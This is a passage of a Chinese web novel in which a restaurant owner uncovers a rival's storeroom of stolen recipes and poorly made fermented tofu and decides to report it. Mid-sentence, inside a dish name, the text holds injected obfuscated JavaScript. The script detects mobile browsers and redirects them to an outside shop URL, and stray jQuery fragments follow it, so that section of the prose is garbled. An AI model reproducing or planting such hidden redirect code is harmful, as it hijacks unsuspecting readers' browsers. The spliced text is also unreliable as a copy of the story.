一排又一排的架子,从地面一直顶到房梁,坛子、罐子、竹篾、油纸包,还有一叠一叠的纸。 有些是散页,有些装订成册,有些用线绳扎着,黑字密密麻麻,溃堤之蚁,连绵不断。 她皱起眉,走到最近的一个架子前,抽出一张。 上面写着菜名、配料、步骤。 蝇头小楷。 西湖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17553697|203203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 醋鱼、龙井虾仁,麻婆豆腐、叫花鸡…… 一笔一划,全是别处的名菜。有的在菜名旁边用小字标注了悦人楼改良版,有的在步骤末尾加了注,沾沾自喜姿态:省三两。 省钱降质是吧? 哗啦啦十几页皆是同类,罗烨烨越翻越快,手指捏着纸页,最后将这一沓甩在案上。 啪地一声,她走到另一个架子前,拿起一个罐子,揭开盖子。里面是红亮亮的腐乳,油汪汪的,罐身贴着小注,有详实配方。 姚氏改良版…… 她放下罐子,揭起旁边一个竹篾:上面码着发好的霉豆腐,白茸茸的菌丝。 她伸指头,捏了一点,入嘴尝了尝。 罗烨烨眉头又拧。 咸淡不对,发酵时间不够。 她又揭了一罐带辣椒油闷藏着的。 尝了,真是难言,辣是冲着的辣,直辣得胃里犯恶心,也尝不出一点香味。 再看那层竹篾上的,白茸茸菌丝看着怪漂亮,可尝着就是差味。 罗烨烨反倒笑了,哼两声,放下竹篾。 “罗掌柜,找到了吗?”萧惜文的声音从身后传来,轻弱弱的。 “全找到了。” 罗烨烨深吸一口气,转过头,烛光落在她脸上,像她眼底有火在烧。 他们的菜谱,我们的配方,全在这。” 萧惜文看了一眼满架子的东西,沉默了片刻。 “烧了吧。” “这是证据,”罗烨烨摇头,“报官吧。” 她从架子上抽出一张写着她家猫豆腐配方的纸,叠好收进袖中,又回头看了一眼。 靠在门框上的苏叶叶。 苏叶叶垂着眼,月光从门外泻进来,落在她身上,把她的影子拉得很长很长。 罗烨烨正犹豫着,苏叶叶先开口了。 “罗掌柜,”她声音轻轻,“你方才讲,陈掌柜将人名抹去,算作他自己招牌,着实不算什么好事。” 苏叶叶嘴角弯了弯,竟莞尔。 “不过罗掌柜相邀,且容我再斟酌一二。” 罗烨烨怔了一会,又渐渐地,品出一些微妙的意味。她一面稍有受信服的底气,又觉心里不安。 她点一点头,也笑了一下:“好。” “那苏掌柜,你先回去吧,剩下的事我们来处理。” 说着,她从袖中摸出一块帕子,又从怀里掏出一支炭笔,垫着手掌,在帕子上勉强写清了几个字,递给苏叶叶。 “这是铺子的方位。你要是想好了,随时可以来找我,到了报我名,有人接待你。” 苏叶叶接过帕子,抬眸看罗烨烨。 接着收进袖中,无言转身,一步入月光。 足下如生风,轻功上屋檐,再一捎眼帘,便如那烟尘消失不见。 罗烨烨站在原地,心里有些不是滋味。她觉得苏叶叶不舒服,她自己也不舒服。 她收回目光,看了一眼萧握瑾。 这公子靠着架子,手里把玩折扇,神色很是闲在,并未表示。 罗烨烨于是分派:“萧握瑾,你去报官。” 扭头,又与那一袭青衣书生讲:“萧惜文,你和我留下来,查一下背后写文章的人。” “咱们已经查到配方在此地,也和悦人楼的门面谈过,就剩下那个替悦人楼抄宣传词的了。” 她说着,左手抚上一旁的架子,拇指捋了一遍那些手稿纸页,“把这些词牌、署名全记下来,说不定街坊邻里偶有听过,能找到关联。” 萧握瑾转身要走。 “等一下。”罗烨烨叫住他。